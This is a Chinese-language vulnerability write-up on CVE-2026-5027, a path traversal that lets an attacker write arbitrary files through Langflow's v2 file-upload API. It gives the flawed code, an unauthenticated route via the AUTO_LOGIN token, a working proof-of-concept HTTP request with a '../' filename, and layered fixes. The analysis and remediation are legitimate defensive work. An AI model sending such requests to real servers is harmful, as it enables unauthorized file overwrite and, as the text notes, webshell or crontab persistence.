CVE-2026-5027 漏洞分析:Langflow 路径穿越导致任意文件写入
字数 2946
更新时间 2026-04-12 11:56:12

CVE-2026-5027 漏洞分析教学:Langflow 路径穿越导致任意文件写入

1. 漏洞概述

1.1 漏洞基本信息

  • 漏洞编号:CVE-2026-5027
  • 影响组件:Langflow AI 低代码开发平台
  • 影响版本:版本号 ≤ 1.8.4
  • 漏洞类型:路径穿越漏洞(Path Traversal) + 任意文件写入(Arbitrary File Write)
  • 漏洞入口POST /api/v2/files 文件上传接口
  • 危害等级:高危

1.2 漏洞描述

该漏洞源于 POST /api/v2/files 文件上传接口在处理上传文件名时,未对用户可控的 filename 字段进行安全校验。攻击者可以通过构造包含路径穿越序列(如 ../)的文件名,突破应用程序设定的上传目录限制,将文件写入服务器文件系统的任意可写路径。

1.3 利用条件与影响

  • 利用前提:通常需要一个低权限用户的登录凭证(PR:L)。
  • 未授权利用:当系统配置中 AUTO_LOGIN 开关打开时,攻击者可以通过默认的 superuser 账号实现未授权利用。
  • 网络利用:可通过网络远程利用(AV:N)。
  • 最终危害:攻击者可以实现任意文件写入,具体可导致:
    1. 覆盖系统关键文件,影响系统稳定性或获取敏感信息。
    2. 写入 Webshell,获取服务器的远程命令执行权限。
    3. 写入定时任务(如 crontab),实现持久化控制。
      最终目标是实现服务器权限接管与远程代码执行(RCE)

2. 漏洞技术原理分析

2.1 漏洞根源

这是一个典型的“上传文件名完全可控,且服务端在文件存储逻辑中未对路径进行规范化或越界校验”导致的漏洞。

2.2 漏洞调用链分析

  1. 漏洞入口 (API 层): /api/v2/files 接口定义在 v2/files.py 中。核心代码如下(关键问题点已标出):

    if not file_name:
        file_name = file.filename  # 问题点1:直接使用用户传入的、未经任何安全处理的文件名
    await storage_service.save_file(
        flow_id=str(current_user.id),
        file_name=file_name,  # 问题点2:将未经验证的文件名传递给下层服务
        data=file_content,
        append=append,
    )
    
    • 代码仅检查了文件是否存在、文件大小限制以及处理了重名情况,但没有file.filename 进行路径安全校验。
    • 与 v1 版本接口相比,此处缺失了../\ 等路径穿越字符的拦截逻辑。
  2. 文件存储实现 (服务层): 文件存储服务调用 storage_service.save_file(...)。在本地存储实现(local.py)中,核心逻辑如下:

    folder_path = self.data_dir / flow_id
    file_path = folder_path / file_name  # 问题点3:直接将用户输入的文件名拼接到基础路径
    mode = "ab" if append else "wb"
    async with async_open(str(file_path), mode) as f:
        await f.write(data)
    
    • self.data_dir 来自配置,通常等于 settings_service.settings.config_dir
    • 路径穿越发生:当攻击者将 file_name 设置为类似 ../../../../etc/crontab 的值时,file_path 变量将成为一个包含多个 .. 父目录跳转的完整路径。操作系统在打开文件时会解析这些 .. 符号,最终导致文件的写入位置完全跳出self.data_dir / flow_id 所设定的目标目录,实现任意路径的文件写入。
  3. 防御缺失对比: 在代码库中存在一个安全校验函数 _get_validated_file_name,但 v2 上传接口没有调用此函数,导致安全防线断裂。

    def _get_validated_file_name(file_name: str = Path()) -> str:
        if ".." in file_name or "/" in file_name or "\\" in file_name:  # 检查路径穿越字符
            raise HTTPException(
                status_code=400,
                detail="Invalid file name. Use a simple file name without directory paths or '..'.",
            )
        return file_name
    

2.3 关于未授权访问

  • 当系统配置 AUTO_LOGIN 开启时,会为默认的超级用户(superuser)自动创建一个长期有效的 Bearer Token。
  • 此 Token 的生成逻辑位于 auth/service.pycreate_user_longterm_token() 函数中,无需任何凭据即可获取,为未授权攻击提供了可能。

3. 漏洞复现与验证

3.1 环境搭建

# 1. 创建虚拟环境
uv venv
source .venv/bin/activate
# 2. 安装存在漏洞的版本
uv pip install langflow==1.8.1
# 3. 启动 Langflow 服务
langflow run

服务默认运行在 http://127.0.0.1:7860

3.2 获取认证 Token (未授权场景)

如果目标系统开启了 AUTO_LOGIN,可以直接请求 /api/v1/auto_login 接口获取默认超级用户的长期 Token。这是未授权攻击的第一步。

3.3 构造恶意请求实现任意文件写入

攻击者向 /api/v2/files 接口发送一个恶意的 POST 请求。

HTTP 请求示例:

POST /api/v2/files HTTP/1.1
Host: 127.0.0.1:7860
Authorization: Bearer your_superuser_token_here
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTest123
Connection: close

------WebKitFormBoundaryTest123
Content-Disposition: form-data; name="flow_id"

test_flow
------WebKitFormBoundaryTest123
Content-Disposition: form-data; name="file"; filename="../../../../../../tmp/success.txt"
Content-Type: text/plain

CVE-2026-5027 漏洞测试成功
------WebKitFormBoundaryTest123--

关键恶意构造:

  • filename 参数:设置为 ../../../../../../tmp/success.txt。这里使用了 6 个 ../ 序列(实际数量需根据目标路径深度调整),目的是跳出 Web 应用的上传目录,将文件写入到系统的 /tmp/ 目录下,并命名为 success.txt
  • 请求体内容:CVE-2026-5027 漏洞测试成功。这将成为写入目标文件的内容。

攻击结果验证:
如果服务端响应成功(通常是 200 OK),则可以登录服务器检查 /tmp/success.txt 文件是否被成功创建并包含指定内容。若成功,则证明任意文件写入漏洞存在。

4. 漏洞修复方案

修复的核心原则是不信任任何客户端输入,并在多层进行防御

4.1 修复步骤

  1. API 层入口校验 (首要修复点):

    • 修改 api/v2/files.py 中的文件上传逻辑。
    • 在将 file.filename 传递给存储服务之前,必须调用 _get_validated_file_name() 函数或实现类似的校验逻辑,过滤掉文件名中的 ../\ 等危险字符。
  2. 存储层安全兜底 (纵深防御):

    • 修改 services/storage/local.py 中的 save_file 或相关方法。
    • 在拼接最终文件路径 file_path 后,应使用 os.path.normpath() 等函数对路径进行规范化,并随后检查规范化后的路径是否仍位于允许的根目录(self.data_dir)之下。确保写入操作不会逃逸出预定的沙箱。
  3. 同步修复相关代码:

    • 根据项目结构,同步修改可能存在相同问题的其他存储实现,如 lfx/services/storage/local.py
  4. 补充安全测试:

    • 在完成代码修复后,必须编写和运行针对路径穿越攻击的测试用例,确保修复有效,且不会引入回归问题。

4.2 安全开发建议

  • 白名单原则:对用户上传的文件名,尽量采用白名单策略,只允许特定的字符集(如字母、数字、下划线、点)。
  • 重命名策略:服务端生成随机、唯一的文件名保存文件,用户原始文件名仅保存在数据库中用于展示,不与实际存储路径关联。
  • 最小权限原则:运行 Web 服务器的进程对文件系统应只有必要的、最小化的写入权限,特别是对 Web 根目录之外的系统目录。

5. 总结

CVE-2026-5027 漏洞是一个由于新旧版本代码安全校验不一致、开发人员疏忽导致的经典路径穿越漏洞。它深刻揭示了在文件操作中,对用户输入(尤其是文件路径相关输入)进行严格、一致的校验至关重要。修复此类漏洞的关键在于:在数据流入的入口(API 层)进行严格的过滤,并在核心的数据处理层(存储层)进行防御性编程和边界检查,构建纵深防御体系。

相似文章
相似文章
 全屏